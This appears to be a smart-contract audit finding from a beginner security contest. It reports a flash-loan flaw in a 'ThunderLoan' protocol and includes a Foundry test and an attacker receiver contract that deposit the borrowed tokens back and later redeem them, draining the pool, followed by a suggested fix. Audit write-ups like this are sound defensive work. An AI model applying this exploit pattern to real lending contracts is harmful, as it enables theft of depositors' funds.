Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Flashloaned tokens can be redeposited

Summary

Flashloaned tokens can be redeposited during a flash loan, not only bypassing the balance sanity check but making the protocol think the user has a valid deposit. The same bug is present in both upgraded and current versions of the protocol.

Vulnerability Details

In the user's executeOperation function, he can call ThunderLoan's deposit function instead of repay. This bypasses the sanity check at line 213, meaning the attacker will be able to trick the protocol into thinking he has a deposit as big as his flash loaned amount.

On the example below, after modifying the test files, we see that the user starts with 0 of tokenA and ends with 110027437357158047785.

Example:

// In ThunderLoanTest.t.sol:
function testFlashLoanExploit() public setAllowedToken hasDeposits {
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 amountToBorrow = AMOUNT * 10;
vm.startPrank(user);
tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
uint256 userTokenBalanceBeforeExploit = tokenA.balanceOf(user);
thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
mockFlashLoanReceiver.cashOut(address(tokenA), assetToken.balanceOf(address(mockFlashLoanReceiver)));
uint256 userTokenBalanceAfterExploit = tokenA.balanceOf(user);
vm.stopPrank();
console.log(userTokenBalanceBeforeExploit, userTokenBalanceAfterExploit);
assertLt(userTokenBalanceBeforeExploit, userTokenBalanceAfterExploit);
}
// ##############################################################################################################
// On the attacker's flash loan receiver contract: ##############################################################
// ##############################################################################################################
interface IThunderLoan {
function repay(address token, uint256 amount) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
}
...
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
if (initiator != s_owner) {
revert MockFlashLoanReceiver__onlyOwner();
}
if (msg.sender != s_thunderLoan) {
revert MockFlashLoanReceiver__onlyThunderLoan();
}
IERC20(token).approve(s_thunderLoan, amount + fee);
IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
return true;
}
function cashOut(address token, uint256 amountAssetToken) external{
if (msg.sender != s_owner) {
revert MockFlashLoanReceiver__onlyOwner();
}
IThunderLoan(s_thunderLoan).redeem(IERC20(token), amountAssetToken);
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}

Impact

All underlying tokens can be drained. All funds will be lost.

Tools Used

Forge test.

Recommendations

In the deposit function, check if a flash loan is occurring. If so, do not allow the deposit to happen.
You can declare this error:

ThunderLoan__NotAllowedDuringFlashLoan();

And add this at the very top of the deposit function:

if(s_currentlyFlashLoaning[token]){
revert ThunderLoan__NotAllowedDuringFlashLoan();
}

This will stop deposits of a specific token while that token is being flashloaned.
The same bug is present in both upgraded and current versions of the protocol, so make sure to fix the other file too.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.